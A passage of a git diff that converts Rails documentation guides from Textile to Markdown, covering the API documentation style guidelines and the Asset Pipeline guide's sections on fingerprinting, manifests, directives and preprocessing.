"Returns a hash that...", rather than "Returned a hash t Start comments in upper case. Follow regular punctuation rules: -<ruby> +```ruby # Declares an attribute reader backed by an internally-named instance variable. def attr_internal_reader(*attrs) ... end -</ruby> +``` Communicate to the reader the current way of doing things, both explicitly and implicitly. Use the idioms recommended in edge. Reorder sections to emphasize favored approaches if needed, etc. The documentation should be a model for best practices and canonical, modern Rails usage. Documentation has to be concise but comprehensive. Explore and document edge cases. What happens if a module is anonymous? What if a collection is empty? What if an argument is nil? -The proper names of Rails components have a space in between the words, like "Active Support". +ActiveRecord+ is a Ruby module, whereas Active Record is an ORM. All Rails documentation should consistently refer to Rails components by their proper name, and if in your next blog post or presentation you remember this tidbit and take it into account that'd be phenomenal. +The proper names of Rails components have a space in between the words, like "Active Support". `ActiveRecord` is a Ruby module, whereas Active Record is an ORM. All Rails documentation should consistently refer to Rails components by their proper name, and if in your next blog post or presentation you remember this tidbit and take it into account that'd be phenomenal. Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. When in doubt, please have a look at some authoritative source like their official documentation. Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database". -h3. English +English +------- -Please use American English (<em>color</em>, <em>center</em>, <em>modularize</em>, etc.). See "a list of American and British English spelling differences here":http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences. +Please use American English (<em>color</em>, <em>center</em>, <em>modularize</em>, etc).. See [a list of American and British English spelling differences here](http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences). -h3. Example Code +Example Code +------------ Choose meaningful examples that depict and cover the basics as well as interesting points or gotchas. -Use two spaces to indent chunks of code--that is, for markup purposes, two spaces with respect to the left margin. The examples themselves should use "Rails coding conventions":contributing_to_ruby_on_rails.html#follow-the-coding-conventions. +Use two spaces to indent chunks of code--that is, for markup purposes, two spaces with respect to the left margin. The examples themselves should use [Rails coding conventions](contributing_to_ruby_on_rails.html#follow-the-coding-conventions). Short docs do not need an explicit "Examples" label to introduce snippets; they just follow paragraphs: -<ruby> +```ruby # Converts a collection of elements into a formatted string by calling -# <tt>to_s</tt> on all elements and joining them. +# `to_s` on all elements and joining them. # # Blog.all.to_formatted_s # => "First PostSecond PostThird Post" -</ruby> +``` On the other hand, big chunks of structured documentation may have a separate "Examples" section: -<ruby> +```ruby # ==== Examples # # Person.exists?(5) # Person.exists?('5') # Person.exists?(:name => "David") # Person.exists?(['name LIKE ?', "%#{query}%"]) -</ruby> +``` The results of expressions follow them and are introduced by "# => ", vertically aligned: -<ruby> +```ruby # For checking if a fixnum is even or odd. # # 1.even? # => false # 1.odd? # => true # 2.even? # => true # 2.odd? # => false -</ruby> +``` If a line is too long, the comment may be placed on the next line: -<ruby> +```ruby # label(:post, :title) # # => <label for="post_title">Title</label> # @@ -85,55 +90,58 @@ If a line is too long, the comment may be placed on the next line: # # label(:post, :title, "A short title", :class => "title_label") # # => <label for="post_title" class="title_label">A short title</label> -</ruby> +``` -Avoid using any printing methods like +puts+ or +p+ for that purpose. +Avoid using any printing methods like `puts` or `p` for that purpose. On the other hand, regular comments do not use an arrow: -<ruby> +```ruby # polymorphic_url(record) # same as comment_url(record) -</ruby> +``` -h3. Filenames +Filenames +--------- As a rule of thumb, use filenames relative to the application root: -<plain> +``` config/routes.rb # YES routes.rb # NO RAILS_ROOT/config/routes.rb # NO -</plain> +``` -h3. Fonts +Fonts +----- -h4. Fixed-width Font +### Fixed-width Font Use fixed-width fonts for: + * Constants, in particular class and module names. * Method names. -* Literals like +nil+, +false+, +true+, +self+. +* Literals like `nil`, `false`, `true`, `self`. * Symbols. * Method parameters. * File names. -<ruby> +```ruby class Array - # Calls <tt>to_param</tt> on all its elements and joins the result with - # slashes. This is used by <tt>url_for</tt> in Action Pack. + # Calls +to_param+ on all its elements and joins the result with + # slashes. This is used by +url_for+ in Action Pack. def to_param collect { |e| e.to_param }.join '/' end end -</ruby> +``` -WARNING: Using a pair of ++...++ for fixed-width font only works with *words*; that is: anything matching <tt>\A\w+\z</tt>. For anything else use +<tt>...</tt>+, notably symbols, setters, inline snippets, etc. +WARNING: Using a pair of `+...+` for fixed-width font only works with **words**; that is: anything matching `\A\w+\z`. For anything else use `<tt>...</tt>`, notably symbols, setters, inline snippets, etc. -h4. Regular Font +### Regular Font When "true" and "false" are English words rather than Ruby keywords use a regular font: -<ruby> +```ruby # Runs all the validations within the specified context. Returns true if no errors are found, # false otherwise. # @@ -145,23 +153,25 @@ When "true" and "false" are English words rather than Ruby keywords use a regula def valid?(context = nil) ... end -</ruby> +``` -h3. Description Lists +Description Lists +----------------- In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols): -<ruby> -# * <tt>:allow_nil</tt> - Skip validation if attribute is <tt>nil</tt>. -</ruby> +```ruby +# * <tt>:allow_nil</tt> - Skip validation if attribute is `nil`. +``` The description starts in upper case and ends with a full stop—it's standard English. -h3. Dynamically Generated Methods +Dynamically Generated Methods +----------------------------- -Methods created with +(module|class)_eval(STRING)+ have a comment by their side with an instance of the generated code. That comment is 2 spaces away from the template: +Methods created with `(module|class)_eval(STRING)` have a comment by their side with an instance of the generated code. That comment is 2 spaces away from the template: -<ruby> +```ruby for severity in Severity.constants class_eval <<-EOT, __FILE__, __LINE__ def #{severity.downcase}(message = nil, progname = nil, &block) # def debug(message = nil, progname = nil, &block) @@ -173,11 +183,11 @@ for severity in Severity.constants end # end EOT end -</ruby> +``` If the resulting lines are too wide, say 200 columns or more, put the comment above the call: -<ruby> +```ruby # def self.find_by_login_and_activated(*args) # options = args.extract_options! # ... @@ -188,4 +198,4 @@ self.class_eval %{ ... end } -</ruby> +``` diff --git a/guides/source/asset_pipeline.textile b/guides/source/asset_pipeline.md index 2a15e95282..b12a02a56a 100644 --- a/guides/source/asset_pipeline.textile +++ b/guides/source/asset_pipeline.md @@ -1,4 +1,5 @@ -h2. Asset Pipeline +Asset Pipeline +============== This guide covers the asset pipeline introduced in Rails 3.1. By referring to this guide you will be able to: @@ -9,366 +10,363 @@ By referring to this guide you will be able to: * Add a pre-processor to the pipeline * Package assets with a gem -endprologue. +-------------------------------------------------------------------------------- -h3. What is the Asset Pipeline? +What is the Asset Pipeline? +--------------------------- The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages such as CoffeeScript, Sass and ERB. -Prior to Rails 3.1 these features were added through third-party Ruby libraries such as Jammit and Sprockets. Rails 3.1 is integrated with Sprockets through Action Pack which depends on the +sprockets+ gem, by default. +Prior to Rails 3.1 these features were added through third-party Ruby libraries such as Jammit and Sprockets. Rails 3.1 is integrated with Sprockets through Action Pack which depends on the `sprockets` gem, by default. Making the asset pipeline a core feature of Rails means that all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "fast by default" strategy as outlined by DHH in his keynote at RailsConf 2011. -In Rails 3.1, the asset pipeline is enabled by default. It can be disabled in +config/application.rb+ by putting this line inside the application class definition: +In Rails 3.1, the asset pipeline is enabled by default. It can be disabled in `config/application.rb` by putting this line inside the application class definition: -<ruby> +```ruby config.assets.enabled = false -</ruby> +``` -You can also disable the asset pipeline while creating a new application by passing the <tt>--skip-sprockets</tt> option. +You can also disable the asset pipeline while creating a new application by passing the `--skip-sprockets` option. -<plain> +```bash rails new appname --skip-sprockets -</plain> +``` You should use the defaults for all new applications unless you have a specific reason to avoid the asset pipeline. -h4. Main Features +### Main Features The first feature of the pipeline is to concatenate assets. This is important in a production environment, because it can reduce the number of requests that a browser must make to render a web page. Web browsers are limited in the number of requests that they can make in parallel, so fewer requests can mean faster loading for your application. -Rails 2.x introduced the ability to concatenate JavaScript and CSS assets by placing +:cache => true+ at the end of the +javascript_include_tag+ and +stylesheet_link_tag+ methods. But this technique has some limitations. For example, it cannot generate the caches in advance, and it is not able to transparently include assets provided by third-party libraries. +Rails 2.x introduced the ability to concatenate JavaScript and CSS assets by placing `:cache => true` at the end of the `javascript_include_tag` and `stylesheet_link_tag` methods. But this technique has some limitations. For example, it cannot generate the caches in advance, and it is not able to transparently include assets provided by third-party libraries. -Starting with version 3.1, Rails defaults to concatenating all JavaScript files into one master +.js+ file and all CSS files into one master +.css+ file. As you'll learn later in this guide, you can customize this strategy to group files any way you like. In production, Rails inserts an MD5 fingerprint into each filename so that the file is cached by the web browser. You can invalidate the cache by altering this fingerprint, which happens automatically whenever you change the file contents.. +Starting with version 3.1, Rails defaults to concatenating all JavaScript files into one master `.js` file and all CSS files into one master `.css` file. As you'll learn later in this guide, you can customize this strategy to group files any way you like. In production, Rails inserts an MD5 fingerprint into each filename so that the file is cached by the web browser. You can invalidate the cache by altering this fingerprint, which happens automatically whenever you change the file contents.. The second feature of the asset pipeline is asset minification or compression. For CSS files, this is done by removing whitespace and comments. For JavaScript, more complex processes can be applied. You can choose from a set of built in options or specify your own. The third feature of the asset pipeline is that it allows coding assets via a higher-level language, with precompilation down to the actual assets. Supported languages include Sass for CSS, CoffeeScript for JavaScript, and ERB for both by default. -h4. What is Fingerprinting and Why Should I Care? +### What is Fingerprinting and Why Should I Care? Fingerprinting is a technique that makes the name of a file dependent on the contents of the file. When the file contents change, the filename is also changed. For content that is static or infrequently changed, this provides an easy way to tell whether two versions of a file are identical, even across different servers or deployment dates. When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (whether at CDNs, at ISPs, in networking equipment, or in web browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change. This will cause the remote clients to request a new copy of the content. This is generally known as _cache busting_. -The technique that Rails uses for fingerprinting is to insert a hash of the content into the name, usually at the end. For example a CSS file +global.css+ could be renamed with an MD5 digest of its contents: +The technique that Rails uses for fingerprinting is to insert a hash of the content into the name, usually at the end. For example a CSS file `global.css` could be renamed with an MD5 digest of its contents: -<plain> +``` global-908e25f4bf641868d8683022a5b62f54.css -</plain> +``` This is the strategy adopted by the Rails asset pipeline. Rails' old strategy was to append a date-based query string to every asset linked with a built-in helper. In the source the generated code looked like this: -<plain> +``` /stylesheets/global.css?1309495796 -</plain> +``` The query string strategy has several disadvantages: -<ol> - <li> - <strong>Not all caches will reliably cache content where the filename only differs by query parameters</strong>.<br /> - "Steve Souders recommends":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/, "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation. - </li> - <li> - <strong>The file name can change between nodes in multi-server environments.</strong><br /> +1. **Not all caches will reliably cache content where the filename only differs by query parameters**<br /> + [Steve Souders recommends](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/), "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation. + +2. **The file name can change between nodes in multi-server environments.**<br /> The default query string in Rails 2.x is based on the modification time of the files. When assets are deployed to a cluster, there is no guarantee that the timestamps will be the same, resulting in different values being used depending on which server handles the request. - </li> - <li> - <strong>Too much cache invalidation</strong><br /> +3. **Too much cache invalidation**<br /> When static assets are deployed with each new release of code, the mtime of _all_ these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed. - </li> -</ol> Fingerprinting fixes these problems by avoiding query strings, and by ensuring that filenames are consistent based on their content. -Fingerprinting is enabled by default for production and disabled for all other environments. You can enable or disable it in your configuration through the +config.assets.digest+ option. +Fingerprinting is enabled by default for production and disabled for all other environments. You can enable or disable it in your configuration through the `config.assets.digest` option. More reading: -* "Optimize caching":http://code.google.com/speed/page-speed/docs/caching.html -* "Revving Filenames: don’t use querystring":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/ +* [Optimize caching](http://code.google.com/speed/page-speed/docs/caching.html) +* [Revving Filenames: don’t use querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/) -h3. How to Use the Asset Pipeline +How to Use the Asset Pipeline +----------------------------- -In previous versions of Rails, all assets were located in subdirectories of +public+ such as +images+, +javascripts+ and +stylesheets+. With the asset pipeline, the preferred location for these assets is now the +app/assets+ directory. Files in this directory are served by the Sprockets middleware included in the sprockets gem. +In previous versions of Rails, all assets were located in subdirectories of `public` such as `images`, `javascripts` and `stylesheets`. With the asset pipeline, the preferred location for these assets is now the `app/assets` directory. Files in this directory are served by the Sprockets middleware included in the sprockets gem. -Assets can still be placed in the +public+ hierarchy. Any assets under +public+ will be served as static files by the application or web server. You should use +app/assets+ for files that must undergo some pre-processing before they are served. +Assets can still be placed in the `public` hierarchy. Any assets under `public` will be served as static files by the application or web server. You should use `app/assets` for files that must undergo some pre-processing before they are served. -In production, Rails precompiles these files to +public/assets+ by default. The precompiled copies are then served as static assets by the web server. The files in +app/assets+ are never served directly in production. +In production, Rails precompiles these files to `public/assets` by default. The precompiled copies are then served as static assets by the web server. The files in `app/assets` are never served directly in production. -When you generate a scaffold or a controller, Rails also generates a JavaScript file (or CoffeeScript file if the +coffee-rails+ gem is in the +Gemfile+) and a Cascading Style Sheet file (or SCSS file if +sass-rails+ is in the +Gemfile+) for that controller. +When you generate a scaffold or a controller, Rails also generates a JavaScript file (or CoffeeScript file if the `coffee-rails` gem is in the `Gemfile`) and a Cascading Style Sheet file (or SCSS file if `sass-rails` is in the `Gemfile`) for that controller. -For example, if you generate a +ProjectsController+, Rails will also add a new file at +app/assets/javascripts/projects.js.coffee+ and another at +app/assets/stylesheets/projects.css.scss+. You should put any JavaScript or CSS unique to a controller inside their respective asset files, as these files can then be loaded just for these controllers with lines such as +<%= javascript_include_tag params[:controller] %>+ or +<%= stylesheet_link_tag params[:controller] %>+. +For example, if you generate a `ProjectsController`, Rails will also add a new file at `app/assets/javascripts/projects.js.coffee` and another at `app/assets/stylesheets/projects.css.scss`. You should put any JavaScript or CSS unique to a controller inside their respective asset files, as these files can then be loaded just for these controllers with lines such as `<%= javascript_include_tag params[:controller] %>` or `<%= stylesheet_link_tag params[:controller] %>`. -NOTE: You must have an "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use CoffeeScript. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check "ExecJS":https://github.com/sstephenson/execjs#readme documentation to know all supported JavaScript runtimes. +NOTE: You must have an [ExecJS](https://github.com/sstephenson/execjs#readme) supported runtime in order to use CoffeeScript. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check [ExecJS](https://github.com/sstephenson/execjs#readme) documentation to know all supported JavaScript runtimes. -h4. Asset Organization +### Asset Organization -Pipeline assets can be placed inside an application in one of three locations: +app/assets+, +lib/assets+ or +vendor/assets+. +Pipeline assets can be placed inside an application in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`. -+app/assets+ is for assets that are owned by the application, such as custom images, JavaScript files or stylesheets. +* `app/assets` is for assets that are owned by the application, such as custom images, JavaScript files or stylesheets. -+lib/assets+ is for your own libraries' code that doesn't really fit into the scope of the application or those libraries which are shared across applications. +* `lib/assets` is for your own libraries' code that doesn't really fit into the scope of the application or those libraries which are shared across applications. -+vendor/assets+ is for assets that are owned by outside entities, such as code for JavaScript plugins and CSS frameworks. +* `vendor/assets` is for assets that are owned by outside entities, such as code for JavaScript plugins and CSS frameworks. -h5. Search paths +#### Search paths When a file is referenced from a manifest or a helper, Sprockets searches the three default asset locations for it. -The default locations are: +app/assets/images+ and the subdirectories +javascripts+ and +stylesheets+ in all three asset locations, but these subdirectories are not special. Any path under +assets/*+ will be searched. +The default locations are: `app/assets/images` and the subdirectories `javascripts` and `stylesheets` in all three asset locations, but these subdirectories are not special. Any path under `assets/*` will be searched. For example, these files: -<plain> +``` app/assets/javascripts/home.js lib/assets/javascripts/moovinator.js vendor/assets/javascripts/slider.js vendor/assets/somepackage/phonebox.js -</plain> +``` would be referenced in a manifest like this: -<plain> +```js //= require home //= require moovinator //= require slider //= require phonebox -</plain> +``` Assets inside subdirectories can also be accessed. -<plain> +``` app/assets/javascripts/sub/something.js -</plain> +``` is referenced as: -<plain> +```js //= require sub/something -</plain> +``` -You can view the search path by inspecting +Rails.application.config.assets.paths+ in the Rails console. +You can view the search path by inspecting `Rails.application.config.assets.paths` in the Rails console. -Besides the standard +assets/*+ paths, additional (fully qualified) paths can be added to the pipeline in +config/application.rb+. For example: +Besides the standard `assets/*` paths, additional (fully qualified) paths can be added to the pipeline in `config/application.rb`. For example: -<ruby> +```ruby config.assets.paths << Rails.root.join("lib", "videoplayer", "flash") -</ruby> +``` -Paths are traversed in the order that they occur in the search path. By default, this means the files in +app/assets+ take precedence, and will mask corresponding paths in +lib+ and +vendor+. +Paths are traversed in the order that they occur in the search path. By default, this means the files in `app/assets` take precedence, and will mask corresponding paths in `lib` and `vendor`. It is important to note that files you want to reference outside a manifest must be added to the precompile array or they will not be available in the production environment. -h5. Using index files +#### Using index files -Sprockets uses files named +index+ (with the relevant extensions) for a special purpose. +Sprockets uses files named `index` (with the relevant extensions) for a special purpose. -For example, if you have a jQuery library with many modules, which is stored in +lib/assets/library_name+, the file +lib/assets/library_name/index.js+ serves as the manifest for all files in this library. This file could include a list of all the required files in order, or a simple <tt>require_tree</tt> directive. +For example, if you have a jQuery library with many modules, which is stored in `lib/assets/library_name`, the file `lib/assets/library_name/index.js` serves as the manifest for all files in this library. This file could include a list of all the required files in order, or a simple `require_tree` directive. The library as a whole can be accessed in the site's application manifest like so: -<plain> +```js //= require library_name -</plain> +``` This simplifies maintenance and keeps things clean by allowing related code to be grouped before inclusion elsewhere. -h4. Coding Links to Assets +### Coding Links to Assets -Sprockets does not add any new methods to access your assets - you still use the familiar +javascript_include_tag+ and +stylesheet_link_tag+. +Sprockets does not add any new methods to access your assets - you still use the familiar `javascript_include_tag` and `stylesheet_link_tag`. -<erb> +```erb <%= stylesheet_link_tag "application" %> <%= javascript_include_tag "application" %> -</erb> +``` -In regular views you can access images in the +assets/images+ directory like this: +In regular views you can access images in the `assets/images` directory like this: -<erb> +```erb <%= image_tag "rails.png" %> -</erb> +``` -Provided that the pipeline is enabled within your application (and not disabled in the current environment context), this file is served by Sprockets. If a file exists at +public/assets/rails.png+ it is served by the web server. +Provided that the pipeline is enabled within your application (and not disabled in the current environment context), this file is served by Sprockets. If a file exists at `public/assets/rails.png` it is served by the web server. -Alternatively, a request for a file with an MD5 hash such as +public/assets/rails-af27b6a414e6da00003503148be9b409.png+ is treated the same way. How these hashes are generated is covered in the "In Production":#in-production section later on in this guide. +Alternatively, a request for a file with an MD5 hash such as `public/assets/rails-af27b6a414e6da00003503148be9b409.png` is treated the same way. How these hashes are generated is covered in the [In Production](#in-production) section later on in this guide. -Sprockets will also look through the paths specified in +config.assets.paths+ which includes the standard application paths and any path added by Rails engines. +Sprockets will also look through the paths specified in `config.assets.paths` which includes the standard application paths and any path added by Rails engines. Images can also be organized into subdirectories if required, and they can be accessed by specifying the directory's name in the tag: -<erb> +```erb <%= image_tag "icons/rails.png" %> -</erb> +``` -WARNING: If you're precompiling your assets (see "In Production":#in-production below), linking to an asset that does not exist will raise an exception in the calling page. This includes linking to a blank string. As such, be careful using <tt>image_tag</tt> and the other helpers with user-supplied data. +WARNING: If you're precompiling your assets (see [In Production](#in-production) below), linking to an asset that does not exist will raise an exception in the calling page. This includes linking to a blank string. As such, be careful using `image_tag` and the other helpers with user-supplied data. -h5. CSS and ERB +#### CSS and ERB -The asset pipeline automatically evaluates ERB. This means that if you add an +erb+ extension to a CSS asset (for example, +application.css.erb+), then helpers like +asset_path+ are available in your CSS rules: +The asset pipeline automatically evaluates ERB. This means that if you add an `erb` extension to a CSS asset (for example, `application.css.erb`), then helpers like `asset_path` are available in your CSS rules: -<plain> +```css .class { background-image: url(<%= asset_path 'image.png' %>) } -</plain> +``` -This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as +app/assets/images/image.png+, which would be referenced here. If this image is already available in +public/assets+ as a fingerprinted file, then that path is referenced. +This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as `app/assets/images/image.png`, which would be referenced here. If this image is already available in `public/assets` as a fingerprinted file, then that path is referenced. -If you want to use a "data URI":http://en.wikipedia.org/wiki/Data_URI_scheme -- a method of embedding the image data directly into the CSS file -- you can use the +asset_data_uri+ helper. +If you want to use a [data URI](http://en.wikipedia.org/wiki/Data_URI_scheme) -- a method of embedding the image data directly into the CSS file -- you can use the `asset_data_uri` helper. -<plain> +```css #logo { background: url(<%= asset_data_uri 'logo.png' %>) } -</plain> +``` This inserts a correctly-formatted data URI into the CSS source. -Note that the closing tag cannot be of the style +-%>+. +Note that the closing tag cannot be of the style `-%>`. -h5. CSS and Sass +#### CSS and Sass -When using the asset pipeline, paths to assets must be re-written and +sass-rails+ provides +-url+ and +-path+ helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet. +When using the asset pipeline, paths to assets must be re-written and `sass-rails` provides `-url` and `-path` helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet. -* +image-url("rails.png")+ becomes +url(/assets/rails.png)+ -* +image-path("rails.png")+ becomes +"/assets/rails.png"+. +* `image-url("rails.png")` becomes `url(/assets/rails.png)` +* `image-path("rails.png")` becomes `"/assets/rails.png"`. The more generic form can also be used but the asset path and class must both be specified: -* +asset-url("rails.png", image)+ becomes +url(/assets/rails.png)+ -* +asset-path("rails.png", image)+ becomes +"/assets/rails.png"+ +* `asset-url("rails.png", image)` becomes `url(/assets/rails.png)` +* `asset-path("rails.png", image)` becomes `"/assets/rails.png"` -h5. JavaScript/CoffeeScript and ERB +#### JavaScript/CoffeeScript and ERB -If you add an +erb+ extension to a JavaScript asset, making it something such as +application.js.erb+, then you can use the +asset_path+ helper in your JavaScript code: +If you add an `erb` extension to a JavaScript asset, making it something such as `application.js.erb`, then you can use the `asset_path` helper in your JavaScript code: -<erb> +```js $('#logo').attr({ src: "<%= asset_path('logo.png') %>" }); -</erb> +``` This writes the path to the particular asset being referenced. -Similarly, you can use the +asset_path+ helper in CoffeeScript files with +erb+ extension (e.g., +application.js.coffee.erb+): +Similarly, you can use the `asset_path` helper in CoffeeScript files with `erb` extension (e.g., `application.js.coffee.erb`): -<plain> +```js $('#logo').attr src: "<%= asset_path('logo.png') %>" -</plain> +``` -h4. Manifest Files and Directives +### Manifest Files and Directives -Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ -- instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (if +Rails.application.config.assets.compress+ is true). By serving one file rather than many, the load time of pages can be greatly reduced because the browser makes fewer requests. +Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ -- instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (if `Rails.application.config.assets.compress` is true). By serving one file rather than many, the load time of pages can be greatly reduced because the browser makes fewer requests. -For example, a new Rails application includes a default +app/assets/javascripts/application.js+ file which contains the following lines: +For example, a new Rails application includes a default `app/assets/javascripts/application.js` file which contains the following lines: -<plain> +```js // ... //= require jquery //= require jquery_ujs //= require_tree . -</plain> +``` -In JavaScript files, the directives begin with +//=+. In this case, the file is using the +require+ and the +require_tree+ directives. The +require+ directive is used to tell Sprockets the files that you wish to require. Here, you are requiring the files +jquery.js+ and +jquery_ujs.js+ that are available somewhere in the search path for Sprockets. You need not supply the extensions explicitly. Sprockets assumes you are requiring a +.js+ file when done from within a +.js+ file. +In JavaScript files, the directives begin with `//=`. In this case, the file is using the `require` and the `require_tree` directives. The `require` directive is used to tell Sprockets the files that you wish to require. Here, you are requiring the files `jquery.js` and `jquery_ujs.js` that are available somewhere in the search path for Sprockets. You need not supply the extensions explicitly. Sprockets assumes you are requiring a `.js` file when done from within a `.js` file. -NOTE. In Rails 3.1 the +jquery-rails+ gem provides the +jquery.js+ and +jquery_ujs.js+ files via the asset pipeline. You won't see them in the application tree. +NOTE. In Rails 3.1 the `jquery-rails` gem provides the `jquery.js` and `jquery_ujs.js` files via the asset pipeline. You won't see them in the application tree. -The +require_tree+ directive tells Sprockets to recursively include _all_ JavaScript files in the specified directory into the output. These paths must be specified relative to the manifest file. You can also use the +require_directory+ directive which includes all JavaScript files only in the directory specified, without recursion. +The `require_tree` directive tells Sprockets to recursively include _all_ JavaScript files in the specified directory into the output. These paths must be specified relative to the manifest file. You can also use the `require_directory` directive which includes all JavaScript files only in the directory specified, without recursion. -Directives are processed top to bottom, but the order in which files are included by +require_tree+ is unspecified. You should not rely on any particular order among those. If you need to ensure some particular JavaScript ends up above some other in the concatenated file, require the prerequisite file first in the manifest. Note that the family of +require+ directives prevents files from being included twice in the output. +Directives are processed top to bottom, but the order in which files are included by `require_tree` is unspecified. You should not rely on any particular order among those. If you need to ensure some particular JavaScript ends up above some other in the concatenated file, require the prerequisite file first in the manifest. Note that the family of `require` directives prevents files from being included twice in the output. -Rails also creates a default +app/assets/stylesheets/application.css+ file which contains these lines: +Rails also creates a default `app/assets/stylesheets/application.css` file which contains these lines: -<plain> +```js /* ... *= require_self *= require_tree . */ -</plain> +``` -The directives that work in the JavaScript files also work in stylesheets (though obviously including stylesheets rather than JavaScript files). The +require_tree+ directive in a CSS manifest works the same way as the JavaScript one, requiring all stylesheets from the current directory. +The directives that work in the JavaScript files also work in stylesheets (though obviously including stylesheets rather than JavaScript files). The `require_tree` directive in a CSS manifest works the same way as the JavaScript one, requiring all stylesheets from the current directory. -In this example +require_self+ is used. This puts the CSS contained within the file (if any) at the precise location of the +require_self+ call. If +require_self+ is called more than once, only the last call is respected. +In this example `require_self` is used. This puts the CSS contained within the file (if any) at the precise location of the `require_self` call. If `require_self` is called more than once, only the last call is respected. -NOTE. If you want to use multiple Sass files, you should generally use the "Sass +@import+ rule":http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import instead of these Sprockets directives. Using Sprockets directives all Sass files exist within their own scope, making variables or mixins only available within the document they were defined in. +NOTE. If you want to use multiple Sass files, you should generally use the [Sass `@import` rule](http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import) instead of these Sprockets directives. Using Sprockets directives all Sass files exist within their own scope, making variables or mixins only available within the document they were defined in. -You can have as many manifest files as you need. For example the +admin.css+ and +admin.js+ manifest could contain the JS and CSS files that are used for the admin section of an application. +You can have as many manifest files as you need. For example the `admin.css` and `admin.js` manifest could contain the JS and CSS files that are used for the admin section of an application. The same remarks about ordering made above apply. In particular, you can specify individual files and they are compiled in the order specified. For example, you might concatenate three CSS files together this way: -<plain> +```js /* ... *= require reset *= require layout *= require chrome */ -</plain> +``` -h4. Preprocessing +### Preprocessing -The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an +app/assets/javascripts/projects.js.coffee+ and an +app/assets/stylesheets/projects.css.scss+ file. +The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an `app/assets/javascripts/projects.js.coffee` and an `app/assets/stylesheets/projects.css.scss` file. -When these files are requested, they are processed by the processors provided by the +coffee-script+ and +sass+ gems and then sent back to the browser as JavaScript and CSS respectively. +When these files are requested, they are processed by the processors provided by the `coffee-script` and `sass` gems and then sent back to the browser as JavaScript and CSS respectively. -Additional layers of preprocessing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called +app/assets/stylesheets/projects.css.scss.erb+ is first processed as ERB, then SCSS, and finally served as CSS. The same applies to a JavaScript file -- +app/assets/javascripts/projects.js.coffee.erb+ is processed as ERB, then CoffeeScript, and served as JavaScript. +Additional layers of preprocessing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called `app/assets/stylesheets/projects.css.scss.erb` is first processed as ERB, then SCSS, and finally served as CSS. The same applies to a JavaScript file -- `app/assets/javascripts/projects.js.coffee.erb` is processed as ERB, then CoffeeScript, and served as JavaScript. -Keep in mind that the order of these preprocessors is important. For example, if you called your JavaScript file +app/assets/javascripts/projects.js.erb.coffee+ then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems. +Keep in mind that the order of these preprocessors is important. For example, if you called your JavaScript file `app/assets/javascripts/projects.js.erb.coffee` then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems. -h3. In Development +In Development +-------------- In development mode, assets are served as separate files in the order they are specified in the manifest file. -This manifest +app/assets/javascripts/application.js+: +This manifest `app/assets/javascripts/application.js`: -<plain> +```js //= require core //= require projects //= require tickets -</plain> +``` would generate this HTML: -<html> +```html <script src="/assets/core.js?body=1"></script> <script src="/assets/projects.js?body=1"></script> <script src="/assets/tickets.js?body=1"></script> -</html> +``` -The +body+ param is required by Sprockets. +The `body` param is required by Sprockets. -h4. Turning Debugging off +### Turning Debugging off -You can turn off debug mode by updating +config/environments/development.rb+ to include: +You can turn off debug mode by updating `config/environments/development.rb` to include: -<ruby> +```ruby config.assets.debug = false -</ruby> +``` When debug mode is off, Sprockets concatenates and runs the necessary preprocessors on all files. With debug mode turned off the manifest above would generate instead: -<html> +```html <script src="/assets/application.js"></script> -</html> +``` -Assets are compiled and cached on the first request after the server is started. Sprockets sets a +must-revalidate+ Cache-Control HTTP header to reduce request overhead on subsequent requests -- on these the browser gets a 304 (Not Modified) response. +Assets are compiled and cached on the first request after the server is started. Sprockets sets a `must-revalidate` Cache-Control HTTP header to reduce request overhead on subsequent requests -- on these the browser gets a 304 